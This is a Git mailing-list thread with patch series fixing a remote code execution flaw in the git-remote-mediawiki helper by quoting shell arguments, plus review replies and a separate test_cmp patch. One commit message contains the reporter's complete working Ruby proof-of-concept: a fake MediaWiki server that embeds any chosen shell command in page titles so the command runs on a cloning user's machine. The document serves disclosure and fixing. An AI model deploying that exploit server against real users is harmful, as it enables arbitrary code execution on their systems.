Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
---
 contrib/mw-to-git/git-remote-mediawiki.perl | 19 +++++++++++++++----
 1 file changed, 15 insertions(+), 4 deletions(-)

diff --git a/contrib/mw-to-git/git-remote-mediawiki.perl b/contrib/mw-to-git/git-remote-mediawiki.perl
index 26d5e1a174..59cb277517 100755
--- a/contrib/mw-to-git/git-remote-mediawiki.perl
+++ b/contrib/mw-to-git/git-remote-mediawiki.perl
@@ -369,12 +369,14 @@ sub get_mw_pages {
 	return %pages;
 }
 
-# usage: $out = run_git("command args");
-#        $out = run_git("command args", "raw"); # don't interpret output as UTF-8.
-sub run_git {
+# usage: $out = run_git_quoted(["command", "args", ...]);
+#        $out = run_git_quoted(["command", "args", ...], "raw"); # don't interpret output as UTF-8.
+#        $out = run_git_unquoted(["command args"); # don't quote arguments
+#        $out = run_git_unquoted(["command args", "raw"); # ditto but raw instead of UTF-8 as above
+sub _run_git {
 	my $args = shift;
 	my $encoding = (shift || 'encoding(UTF-8)');
-	open(my $git, "-|:${encoding}", "git ${args}")
+	open(my $git, "-|:${encoding}", @$args)
 	    or die "Unable to fork: $!\n";
 	my $res = do {
 		local $/ = undef;
@@ -385,6 +387,15 @@ sub run_git {
 	return $res;
 }
 
+sub run_git_quoted {
+    _run_git(["git", @{$_[0]}], $_[1]);
+}
+
+sub run_git_unquoted {
+    _run_git(["git $_[0]"], $_[1]);
+}
+
+BEGIN { *run_git = \&run_git_unquoted }
 
 sub get_all_mediafiles {
 	my $pages = shift;
-- 
2.28.0.297.g1956fa8f8d

[PATCH v2 16/18] remote-mediawiki: convert to quoted run_git() invocation

[Ævar Arnfjörð Bjarmason]

Change those callsites that are able to call run_safe() with a quoted
list of arguments to do so.

This fixes a RCE bug in this transport helper reported by Joern
Schneeweisz to the git-security mailing list. The issue is being made
public due to the relative obscurity of the remote-mediawiki code.

The security issue is that we'd execute a command like this via Perl's
"open -|", where the $name is taken directly from the api.php
response. So that a JSON response of e.g.:

    [...]"title":"`id>/tmp/mw`:Main Page"[..]

Would result in an invocation of:

    git config --add remote.origin.namespaceCache "`id>/tmp/mw`:notANameSpace"

From code such as this, which is being changed by this patch:

    run_git(qq(config --add remote.${remotename}.namespaceCache "${name}:${store_id}"));

So we'd execute an arbitrary command, and also put
"remote.origin.namespaceCache=:notANameSpace" in the config. With this
change we quote all of this, so now we'll simply write
"remote.origin.namespaceCache=`id>/tmp/x`:notANameSpace" into the
config, and not execute any remote commands.

About the implementation: as noted in [1] (see also [2]) this style of
invoking open() has compatibility issues on Windows up to Perl
5.22. However, Johannes Schindelin notes that we shouldn't worry about
Windows in this context because (quoting a private E-Mail of his):

    1. The mediawiki helper has never been shipped as part of an
       official Git for Windows version. Neither has it ever been part
       of an official MSYS2 package. Which means that Windows users
       who want to use the mediawiki helper have to build Git
       themselves, which not many users seem to do.

    2. The last Git for Windows version to ship with Perl v5.22.x was
       Git for Windows v2.11.1; Since Git for Windows
       v2.12.0 (released on February 25th, 2017), only newer Perl
       versions were included.

So let's just use this open() API. Grepping around shows that various
other Perl code we ship such as gitweb etc. uses this way of calling
open(), so we shouldn't have any issues with compatibility.

For further reference and future testing, here's working exploit code
provided by Joern:

    #!/usr/bin/ruby
    # git client side RCE via `mediawiki` remote proof of concept
    # Joern Schneeweisz - GitLab Security Research Team

    require 'sinatra'
    set bind: '0.0.0.0'

    if not ARGV[0]

      puts "Please provide the shell command to be execucted."
      exit -1

    end

    cmd = ARGV[0]
    all_pages = sprintf('{"limits":{"allpages":500},"query":{"allpages":[{"pageid":1,"ns":3,"title":"`%s`:Main Page"}]}}', cmd)
    revs = sprintf('{"query":{"pages":{"1":{"pageid":1,"ns":3,"title":"`%s`:Main Page","revisions":[{"revid":1,"parentid":0,"user":"MediaWiki default","timestamp":"2020-09-04T20:25:08Z","contentformat":"text/x-wiki","contentmodel":"wikitext","comment":"","*":"<al:MyLanguage/Help:Contents]"}]}}}}', cmd)
    mainpage= sprintf('{"batchcomplete":"","query":{"pages":{"1":{"pageid":1,"ns":3,"title":"`%s`:Main Page","revisions":[{"revid":1,"parentid":0}]}}}}',cmd)

    post '/api.php' do

      if params[:list] == 'allpages'
        return all_pages
      end

      if params[:prop] == 'revisions'
        return revs
      end

      return mainpage
    end

Which:

    [...] should be run like: `ruby wiki.rb 'id>/tmp/mw'`. Now when
    being cloned with `git clone mediawiki::http://localhost:4567` the
    file `/tmp/mw` will be created during the clone process,
    containing the output of `id`.

1. https://perldoc.perl.org/functions/open.html#Opening-a-filehandle-into-a-command
2. https://perldoc.perl.org/perlipc.html#Safe-Pipe-Opens

Reported-by: Joern Schneeweisz <jschneeweisz@gitlab.com>
Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
---
 contrib/mw-to-git/git-remote-mediawiki.perl | 49 +++++++++++----------
 1 file changed, 26 insertions(+), 23 deletions(-)

diff --git a/contrib/mw-to-git/git-remote-mediawiki.perl b/contrib/mw-to-git/git-remote-mediawiki.perl
index 59cb277517..bbf68ddc46 100755
--- a/contrib/mw-to-git/git-remote-mediawiki.perl
+++ b/contrib/mw-to-git/git-remote-mediawiki.perl
@@ -56,38 +56,38 @@
 
 # Accept both space-separated and multiple keys in config file.
 # Spaces should be written as _ anyway because we'll use chomp.
-my @tracked_pages = split(/[ \n]/, run_git("config --get-all remote.${remotename}.pages"));
+my @tracked_pages = split(/[ \n]/, run_git_quoted(["config", "--get-all", "remote.${remotename}.pages"]));
 chomp(@tracked_pages);
 
 # Just like @tracked_pages, but for MediaWiki categories.
-my @tracked_categories = split(/[ \n]/, run_git("config --get-all remote.${remotename}.categories"));
+my @tracked_categories = split(/[ \n]/, run_git_quoted(["config", "--get-all", "remote.${remotename}.categories"]));
 chomp(@tracked_categories);
 
 # Just like @tracked_categories, but for MediaWiki namespaces.
-my @tracked_namespaces = split(/[ \n]/, run_git("config --get-all remote.${remotename}.namespaces"));
+my @tracked_namespaces = split(/[ \n]/, run_git_quoted(["config", "--get-all", "remote.${remotename}.namespaces"]));
 for (@tracked_namespaces) { s/_/ /g; }
 chomp(@tracked_namespaces);
 
 # Import media files on pull
-my $import_media = run_git("config --get --bool remote.${remotename}.mediaimport");
+my $import_media = run_git_quoted(["config", "--get", "--bool", "remote.${remotename}.mediaimport"]);
 chomp($import_media);
 $import_media = ($import_media eq 'true');
 
 # Export media files on push
-my $export_media = run_git("config --get --bool remote.${remotename}.mediaexport");
+my $export_media = run_git_quoted(["config", "--get", "--bool", "remote.${remotename}.mediaexport"]);
 chomp($export_media);
 $export_media = !($export_media eq 'false');
 
-my $wiki_login = run_git("config --get remote.${remotename}.mwLogin");
+my $wiki_login = run_git_quoted(["config", "--get", "remote.${remotename}.mwLogin"]);
 # Note: mwPassword is discouraged. Use the credential system instead.
-my $wiki_passwd = run_git("config --get remote.${remotename}.mwPassword");
-my $wiki_domain = run_git("config --get remote.${remotename}.mwDomain");
+my $wiki_passwd = run_git_quoted(["config", "--get", "remote.${remotename}.mwPassword"]);
+my $wiki_domain = run_git_quoted(["config", "--get", "remote.${remotename}.mwDomain"]);
 chomp($wiki_login);
 chomp($wiki_passwd);
 chomp($wiki_domain);
 
 # Import only last revisions (both for clone and fetch)
-my $shallow_import = run_git("config --get --bool remote.${remotename}.shallow");
+my $shallow_import = run_git_quoted(["config", "--get", "--bool", "remote.${remotename}.shallow"]);
 chomp($shallow_import);
 $shallow_import = ($shallow_import eq 'true');
 
@@ -97,9 +97,9 @@
 # Possible values:
 # - by_rev: perform one query per new revision on the remote wiki
 # - by_page: query each tracked page for new revision
-my $fetch_strategy = run_git("config --get remote.${remotename}.fetchStrategy");
+my $fetch_strategy = run_git_quoted(["config", "--get", "remote.${remotename}.fetchStrategy"]);
 if (!$fetch_strategy) {
-	$fetch_strategy = run_git('config --get mediawiki.fetchStrategy');
+	$fetch_strategy = run_git_quoted(["config", "--get", "mediawiki.fetchStrategy"]);
 }
 chomp($fetch_strategy);
 if (!$fetch_strategy) {
@@ -123,9 +123,9 @@
 # will get the history with information lost). If the import is
 # deterministic, this means everybody gets the same sha1 for each
 # MediaWiki revision.
-my $dumb_push = run_git("config --get --bool remote.${remotename}.dumbPush");
+my $dumb_push = run_git_quoted(["config", "--get", "--bool", "remote.${remotename}.dumbPush"]);
 if (!$dumb_push) {
-	$dumb_push = run_git('config --get --bool mediawiki.dumbPush');
+	$dumb_push = run_git_quoted(["config", "--get", "--bool", "mediawiki.dumbPush"]);
 }
 chomp($dumb_push);
 $dumb_push = ($dumb_push eq 'true');
@@ -984,7 +984,7 @@ sub mw_import_revids {
 }
 
 sub error_non_fast_forward {
-	my $advice = run_git('config --bool advice.pushNonFastForward');
+	my $advice = run_git_quoted(["config", "--bool", "advice.pushNonFastForward"]);
 	chomp($advice);
 	if ($advice ne 'false') {
 		# Native git-push would show this after the summary.
@@ -1028,7 +1028,7 @@ sub mw_upload_file {
 		}
 	} else {
 		# Don't let perl try to interpret file content as UTF-8 => use "raw"
-		my $content = run_git("cat-file blob ${new_sha1}", 'raw');
+		my $content = run_git_quoted(["cat-file", "blob", $new_sha1], 'raw');
 		if ($content ne EMPTY) {
 			$mediawiki = connect_maybe($mediawiki, $remotename, $url);
 			$mediawiki->{config}->{upload_url} =
@@ -1098,7 +1098,7 @@ sub mw_push_file {
 			# with this content instead:
 			$file_content = DELETED_CONTENT;
 		} else {
-			$file_content = run_git("cat-file blob ${new_sha1}");
+			$file_content = run_git_quoted(["cat-file", "blob", $new_sha1]);
 		}
 
 		$mediawiki = connect_maybe($mediawiki, $remotename, $url);
@@ -1211,7 +1211,7 @@ sub mw_push_revision {
 		my $parsed_sha1 = $remoteorigin_sha1;
 		# Find a path from last MediaWiki commit to pushed commit
 		print {*STDERR} "Computing path from local to remote ...\n";
-		my @local_ancestry = split(/\n/, run_git("rev-list --boundary --parents ${local} ^${parsed_sha1}"));
+		my @local_ancestry = split(/\n/, run_git_quoted(["rev-list", "--boundary", "--parents", $local, "^${parsed_sha1}"]));
 		my %local_ancestry;
 		foreach my $line (@local_ancestry) {
 			if (my ($child, $parents) = $line =~ /^-?([a-f0-9]+) ([a-f0-9 ]+)/) {
@@ -1235,7 +1235,7 @@ sub mw_push_revision {
 		# No remote mediawiki revision. Export the whole
 		# history (linearized with --first-parent)
 		print {*STDERR} "Warning: no common ancestor, pushing complete history\n";
-		my $history = run_git("rev-list --first-parent --children ${local}");
+		my $history = run_git_quoted(["rev-list", "--first-parent", "--children", $local]);
 		my @history = split(/\n/, $history);
 		@history = @history[1..$#history];
 		foreach my $line (reverse @history) {
@@ -1247,12 +1247,12 @@ sub mw_push_revision {
 	foreach my $commit_info_split (@commit_pairs) {
 		my $sha1_child = @{$commit_info_split}[0];
 		my $sha1_commit = @{$commit_info_split}[1];
-		my $diff_infos = run_git("diff-tree -r --raw -z ${sha1_child} ${sha1_commit}");
+		my $diff_infos = run_git_quoted(["diff-tree", "-r", "--raw", "-z", $sha1_child, $sha1_commit]);
 		# TODO: we could detect rename, and encode them with a #redirect on the wiki.
 		# TODO: for now, it's just a delete+add
 		my @diff_info_list = split(/\0/, $diff_infos);
 		# Keep the subject line of the commit message as mediawiki comment for the revision
-		my $commit_msg = run_git(qq(log --no-walk --format="%s" ${sha1_commit}));
+		my $commit_msg = run_git_quoted(["log", "--no-walk", '--format="%s"', $sha1_commit]);
 		chomp($commit_msg);
 		# Push every blob
 		while (@diff_info_list) {
@@ -1277,7 +1277,10 @@ sub mw_push_revision {
 			}
 		}
 		if (!$dumb_push) {
-			run_git(qq(notes --ref=${remotename}/mediawiki add -f -m "mediawiki_revision: ${mw_revision}" ${sha1_commit}));
+			run_git_quoted(["notes", "--ref=${remotename}/mediawiki",
+					"add", "-f", "-m",
+					"mediawiki_revision: ${mw_revision}",
+					$sha1_commit]);
 		}
 	}
 
@@ -1318,7 +1321,7 @@ sub get_mw_namespace_id {
 		# already cached. Namespaces are stored in form:
 		# "Name_of_namespace:Id_namespace", ex.: "File:6".
 		my @temp = split(/\n/,
-				 run_git("config --get-all remote.${remotename}.namespaceCache"));
+				 run_git_quoted(["config", "--get-all", "remote.${remotename}.namespaceCache"]));
 		chomp(@temp);
 		foreach my $ns (@temp) {
 			my ($n, $id) = split(/:/, $ns);
@@ -1372,7 +1375,7 @@ sub get_mw_namespace_id {
 
 	# Store explicitly requested namespaces on disk
 	if (!exists $cached_mw_namespace_id{$name}) {
-		run_git(qq(config --add remote.${remotename}.namespaceCache "${name}:${store_id}"));
+		run_git_quoted(["config", "--add", "remote.${remotename}.namespaceCache", "${name}:${store_id}"]);
 		$cached_mw_namespace_id{$name} = 1;
 	}
 	return $id;
-- 
2.28.0.297.g1956fa8f8d

[PATCH v2 17/18] remote-mediawiki: annotate unquoted uses of run_git()

[Ævar Arnfjörð Bjarmason]

Explicitly annotate the invocations of run_git() which don't use
quoted arguments. I'm not converting these to run_git_quoted() because
these invocations pipe stderr to /dev/null, which the Perl open() API
doesn't support.

We could do a quoted version of this with IPC::Open3, but I don't
think it's worth it to go through that here. Let's instead just mark
these sites, and comment on why it's OK to use the variables we're
using.

This eliminates the last uses of run_git(), so we can remove the alias
for it introduced in an earlier commit.

Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
---
 contrib/mw-to-git/git-remote-mediawiki.perl | 19 +++++++++++++------
 1 file changed, 13 insertions(+), 6 deletions(-)

diff --git a/contrib/mw-to-git/git-remote-mediawiki.perl b/contrib/mw-to-git/git-remote-mediawiki.perl
index bbf68ddc46..d21c18df7b 100755
--- a/contrib/mw-to-git/git-remote-mediawiki.perl
+++ b/contrib/mw-to-git/git-remote-mediawiki.perl
@@ -395,8 +395,6 @@ sub run_git_unquoted {
     _run_git(["git $_[0]"], $_[1]);
 }
 
-BEGIN { *run_git = \&run_git_unquoted }
-
 sub get_all_mediafiles {
 	my $pages = shift;
 	# Attach list of all pages for media files from the API,
@@ -522,8 +520,11 @@ sub download_mw_mediafile {
 }
 
 sub get_last_local_revision {
-	# Get note regarding last mediawiki revision
-	my $note = run_git("notes --ref=${remotename}/mediawiki show refs/mediawiki/${remotename}/master 2>/dev/null");
+	# Get note regarding last mediawiki revision.
+	#
+	# It's OK to use run_git_unquoted() here because $remotename is
+	# supplied by the local git itself.
+	my $note = run_git_unquoted("notes --ref=${remotename}/mediawiki show refs/mediawiki/${remotename}/master 2>/dev/null");
 	my @note_info = split(/ /, $note);
 
 	my $lastrevision_number;
@@ -1188,10 +1189,16 @@ sub mw_push_revision {
 	my $mw_revision = $last_remote_revid;
 
 	# Get sha1 of commit pointed by local HEAD
-	my $HEAD_sha1 = run_git("rev-parse ${local} 2>/dev/null");
+	#
+	# It's OK to use run_git_unquoted() because $local is supplied
+	# by the local git itself.
+	my $HEAD_sha1 = run_git_unquoted("rev-parse ${local} 2>/dev/null");
 	chomp($HEAD_sha1);
 	# Get sha1 of commit pointed by remotes/$remotename/master
-	my $remoteorigin_sha1 = run_git("rev-parse refs/remotes/${remotename}/master 2>/dev/null");
+	#
+	# It's OK to use run_git_unquoted() here because $remotename is
+	# supplied by the local git itself.
+	my $remoteorigin_sha1 = run_git_unquoted("rev-parse refs/remotes/${remotename}/master 2>/dev/null");
 	chomp($remoteorigin_sha1);
 
 	if ($last_local_revid > 0 &&
-- 
2.28.0.297.g1956fa8f8d

[PATCH v2 18/18] remote-mediawiki: use "sh" to eliminate unquoted commands

[Ævar Arnfjörð Bjarmason]

Remove the use of run_git_unquoted() completely with a use of "sh -c"
suggested by Jeff King, i.e.:

    sh -c '"$@" 2>/dev/null' -- echo sneaky 'argument;id'

I don't think this is needed now for any potential RCE issue. The
$remotename argument is ultimately picked by the local user (and
similarly, the $local variable comes from a user-supplied
refspec).

But completely eliminating the use of unquoted shell arguments has a
value in and of itself, by making the code easier to review. As noted
in an earlier commit I think the use of IPC::Open3 would be too
verbose here, but this "sh -c" trick strikes the right balance between
readability and semantic sanity.

Suggested-by: Jeff King <peff@peff.net>
Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
---
 contrib/mw-to-git/git-remote-mediawiki.perl | 24 +++++++--------------
 1 file changed, 8 insertions(+), 16 deletions(-)

diff --git a/contrib/mw-to-git/git-remote-mediawiki.perl b/contrib/mw-to-git/git-remote-mediawiki.perl
index d21c18df7b..a5624413dc 100755
--- a/contrib/mw-to-git/git-remote-mediawiki.perl
+++ b/contrib/mw-to-git/git-remote-mediawiki.perl
@@ -371,8 +371,8 @@ sub get_mw_pages {
 
 # usage: $out = run_git_quoted(["command", "args", ...]);
 #        $out = run_git_quoted(["command", "args", ...], "raw"); # don't interpret output as UTF-8.
-#        $out = run_git_unquoted(["command args"); # don't quote arguments
-#        $out = run_git_unquoted(["command args", "raw"); # ditto but raw instead of UTF-8 as above
+#        $out = run_git_quoted_nostderr(["command", "args", ...]); # discard stderr
+#        $out = run_git_quoted_nostderr(["command", "args", ...], "raw"); # ditto but raw instead of UTF-8 as above
 sub _run_git {
 	my $args = shift;
 	my $encoding = (shift || 'encoding(UTF-8)');
@@ -391,8 +391,8 @@ sub run_git_quoted {
     _run_git(["git", @{$_[0]}], $_[1]);
 }
 
-sub run_git_unquoted {
-    _run_git(["git $_[0]"], $_[1]);
+sub run_git_quoted_nostderr {
+    _run_git(['sh', '-c', 'git "$@" 2>/dev/null', '--', @{$_[0]}], $_[1]);
 }
 
 sub get_all_mediafiles {
@@ -521,10 +521,8 @@ sub download_mw_mediafile {
 
 sub get_last_local_revision {
 	# Get note regarding last mediawiki revision.
-	#
-	# It's OK to use run_git_unquoted() here because $remotename is
-	# supplied by the local git itself.
-	my $note = run_git_unquoted("notes --ref=${remotename}/mediawiki show refs/mediawiki/${remotename}/master 2>/dev/null");
+	my $note = run_git_quoted_nostderr(["notes", "--ref=${remotename}/mediawiki",
+					    "show", "refs/mediawiki/${remotename}/master"]);
 	my @note_info = split(/ /, $note);
 
 	my $lastrevision_number;
@@ -1189,16 +1187,10 @@ sub mw_push_revision {
 	my $mw_revision = $last_remote_revid;
 
 	# Get sha1 of commit pointed by local HEAD
-	#
-	# It's OK to use run_git_unquoted() because $local is supplied
-	# by the local git itself.
-	my $HEAD_sha1 = run_git_unquoted("rev-parse ${local} 2>/dev/null");
+	my $HEAD_sha1 = run_git_quoted_nostderr(["rev-parse", $local]);
 	chomp($HEAD_sha1);
 	# Get sha1 of commit pointed by remotes/$remotename/master
-	#
-	# It's OK to use run_git_unquoted() here because $remotename is
-	# supplied by the local git itself.
-	my $remoteorigin_sha1 = run_git_unquoted("rev-parse refs/remotes/${remotename}/master 2>/dev/null");
+	my $remoteorigin_sha1 = run_git_quoted_nostderr(["rev-parse", "refs/remotes/${remotename}/master"]);
 	chomp($remoteorigin_sha1);
 
 	if ($last_local_revid > 0 &&
-- 
2.28.0.297.g1956fa8f8d

Re: [PATCH 07/15] remote-mediawiki tests: guard test_cmp with test_path_is_file

[Ævar Arnfjörð Bjarmason]

On Mon, Sep 21 2020, Ævar Arnfjörð Bjarmason wrote:

> On Wed, Sep 16 2020, Eric Sunshine wrote:
>
>> On Wed, Sep 16, 2020 at 8:17 AM Ævar Arnfjörð Bjarmason
>> <avarab@gmail.com> wrote:
>>> Change a test that used a plain test_cmp to first check the file(s)
>>> using test_path_is_file. If some of these file(s) don't exist (as
>>> happened to me during debugging), test_cmp will emit a way less useful
>>> message about the failure.
>>
>> An alternative would be to update test_cmp() to present a more helpful
>> error message so that all test scripts can benefit rather than just
>> this script. By the way, were you testing with a reasonably recent
>> version of Git? I ask because test_cmp() was updated not long ago to
>> provide better diagnostics when one of the files is missing.
>>
>> [1]: d572f52a64 (test_cmp: diagnose incorrect arguments, 2020-08-09)
>
> Thanks (and also to Đoàn Trần Công Danh in a side-thread). I've dropped
> this patch. It's indeed better to leave this to a more general facility
> as in your now-integrated test_cmp patch.
>
> The reason I came up with this now-useless patch is because I originally
> started hacking this series on a slightly older version of git, which
> didn't have that patch.

Correction: It was the other way around, but I ran into the case with
your patch + converting a test to test_expect_failure, where before that
would be an "ok" failure since a file was missing, but now hard errosr
with a BUG.

I think that behavior is OK, but in going back&forth and rebasing
managed to miss it the first time around. The v2 of this series has a
more narrow fix for that.

Re: [PATCH v2 00/18] remote-mediawiki: fix RCE issue, and the tests

[Jeff King]

On Mon, Sep 21, 2020 at 12:39:42PM +0200, Ævar Arnfjörð Bjarmason wrote:

> This series now has a fix for a remote code execution which previously
> was only being discussed on the closed git-security list. Per
> discussion there the issue is being made public.
> 
> Basically, we expect that almost nobody is using this code in the
> first place so there wasn't any interest in a point release, and there
> wasn't any downstream interest in an embargo either.
> 
> This v2 addresses (hopefully) all the public & git-security commends
> on the v1s of this series.

It all looks good to me, including the cleanup in the final commit.

At that point we have no "unquoted" run_git helpers left, so possibly we
could rename the "quoted" forms back to just "run_git" and "run_git_stderr",
which are a little less verbose. But I don't care that much either way.

Thanks again for fixing this.

-Peff

[PATCH] test_cmp: diagnose incorrect arguments more precisely

[Eric Sunshine]

d572f52a64 (test_cmp: diagnose incorrect arguments, 2020-08-09) taught
test_cmp() and test_cmp_bin() to diagnose a missing input source. Even
though the arguments to test_cmp() must name regular files (or standard
input), it only diagnoses whether a source is missing, which makes the
check a bit loose. Teach the check to be more precise by diagnosing, not
only a missing source, but also if the source is not a regular file.

Signed-off-by: Eric Sunshine <sunshine@sunshineco.com>
---

  On Wed, Sep 16, 2020 at 5:14 PM Junio C Hamano <gitster@pobox.com> wrote:
  > Eric Sunshine <sunshine@sunshineco.com> writes:
  > > [...] I ask because test_cmp() was updated not long ago to
  > > provide better diagnostics when one of the files is missing.
  > > [1]: d572f52a64 (test_cmp: diagnose incorrect arguments, 2020-08-09)
  >
  > Yes, you did this with the commit,
  >         test "x$1" = x- || test -e "$1" || BUG "test_cmp '$1' missing"
  >         test "x$2" = x- || test -e "$2" || BUG "test_cmp '$2' missing"
  > and I do not immediately see why "test -e" shouldn't be "test -f".
  > It should ideally be "stdin is OK, otherwise it must be a readable
  > regular file".

  Perhaps the present patch suitably address your concern?

 t/test-lib-functions.sh | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/t/test-lib-functions.sh b/t/test-lib-functions.sh
index 8d59b90348..4bc54e9e80 100644
--- a/t/test-lib-functions.sh
+++ b/t/test-lib-functions.sh
@@ -955,8 +955,8 @@ test_cmp() {
 	test $# -eq 2 || BUG "test_cmp requires two arguments"
 	if ! eval "$GIT_TEST_CMP" '"$@"'
 	then
-		test "x$1" = x- || test -e "$1" || BUG "test_cmp '$1' missing"
-		test "x$2" = x- || test -e "$2" || BUG "test_cmp '$2' missing"
+		test "x$1" = x- || test -f "$1" || BUG "test_cmp '$1' missing or not regular file"
+		test "x$2" = x- || test -f "$2" || BUG "test_cmp '$2' missing or not regular file"
 		return 1
 	fi
 }
@@ -990,8 +990,8 @@ test_cmp_bin() {
 	test $# -eq 2 || BUG "test_cmp_bin requires two arguments"
 	if ! cmp "$@"
 	then
-		test "x$1" = x- || test -e "$1" || BUG "test_cmp_bin '$1' missing"
-		test "x$2" = x- || test -e "$2" || BUG "test_cmp_bin '$2' missing"
+		test "x$1" = x- || test -f "$1" || BUG "test_cmp_bin '$1' missing or not regular file"
+		test "x$2" = x- || test -f "$2" || BUG "test_cmp_bin '$2' missing or not regular file"
 		return 1
 	fi
 }
-- 
2.28.0.942.g77c4c6094c

Re: [PATCH] test_cmp: diagnose incorrect arguments more precisely

[Junio C Hamano]

Eric Sunshine <sunshine@sunshineco.com> writes:

> d572f52a64 (test_cmp: diagnose incorrect arguments, 2020-08-09) taught
> test_cmp() and test_cmp_bin() to diagnose a missing input source. Even
> though the arguments to test_cmp() must name regular files (or standard
> input), it only diagnoses whether a source is missing, which makes the
> check a bit loose. Teach the check to be more precise by diagnosing, not
> only a missing source, but also if the source is not a regular file.
>
> Signed-off-by: Eric Sunshine <sunshine@sunshineco.com>
> ---
>
>   On Wed, Sep 16, 2020 at 5:14 PM Junio C Hamano <gitster@pobox.com> wrote:
>   > Eric Sunshine <sunshine@sunshineco.com> writes:
>   > > [...] I ask because test_cmp() was updated not long ago to
>   > > provide better diagnostics when one of the files is missing.
>   > > [1]: d572f52a64 (test_cmp: diagnose incorrect arguments, 2020-08-09)
>   >
>   > Yes, you did this with the commit,
>   >         test "x$1" = x- || test -e "$1" || BUG "test_cmp '$1' missing"
>   >         test "x$2" = x- || test -e "$2" || BUG "test_cmp '$2' missing"
>   > and I do not immediately see why "test -e" shouldn't be "test -f".
>   > It should ideally be "stdin is OK, otherwise it must be a readable
>   > regular file".
>
>   Perhaps the present patch suitably address your concern?

Certainly s/-e/-f/ is better to reject directories, but if we are
doing more checks, it would probably be more maintainable to have
a helper and catch unreadable files.

Note that

	mkdir one two &&
	test_cmp one two

would likely succeed, so I am not sure how much this matters in
practice, even though we would catch

	mkdir one >two &&
	test_cmp one two

as a mistake.

 t/test-lib-functions.sh | 24 +++++++++++++++++++-----
 1 file changed, 19 insertions(+), 5 deletions(-)

diff --git a/t/test-lib-functions.sh b/t/test-lib-functions.sh
index 8d59b90348..ddaa14275a 100644
--- a/t/test-lib-functions.sh
+++ b/t/test-lib-functions.sh
@@ -938,6 +938,20 @@ test_expect_code () {
 	return 1
 } 7>&2 2>&4
 
+# helper for test_cmp and test_cmp_bin to diagnose programmer errors
+# usage: test_cmp_missing "$funcname" "$filename"
+test_cmp_missing_check () {
+	if test "x$2" = x-
+	then
+		:; # standard input is OK
+	elif test -f "$2" && test -r "$2"
+	then
+		:; # readable file is OK
+	else
+		BUG "$1 '$2' not a readable file"
+	fi
+}
+
 # test_cmp is a helper function to compare actual and expected output.
 # You can use it like:
 #
@@ -955,9 +969,9 @@ test_cmp() {
 	test $# -eq 2 || BUG "test_cmp requires two arguments"
 	if ! eval "$GIT_TEST_CMP" '"$@"'
 	then
-		test "x$1" = x- || test -e "$1" || BUG "test_cmp '$1' missing"
-		test "x$2" = x- || test -e "$2" || BUG "test_cmp '$2' missing"
-		return 1
+		test_cmp_missing_check test_cmp "$1"
+		test_cmp_missing_check test_cmp "$2"
+		return 1;
 	fi
 }
 
@@ -990,8 +1004,8 @@ test_cmp_bin() {
 	test $# -eq 2 || BUG "test_cmp_bin requires two arguments"
 	if ! cmp "$@"
 	then
-		test "x$1" = x- || test -e "$1" || BUG "test_cmp_bin '$1' missing"
-		test "x$2" = x- || test -e "$2" || BUG "test_cmp_bin '$2' missing"
+		test_cmp_missing_check test_cmp_bin "$1"
+		test_cmp_missing_check test_cmp_bin "$2"
 		return 1
 	fi
 }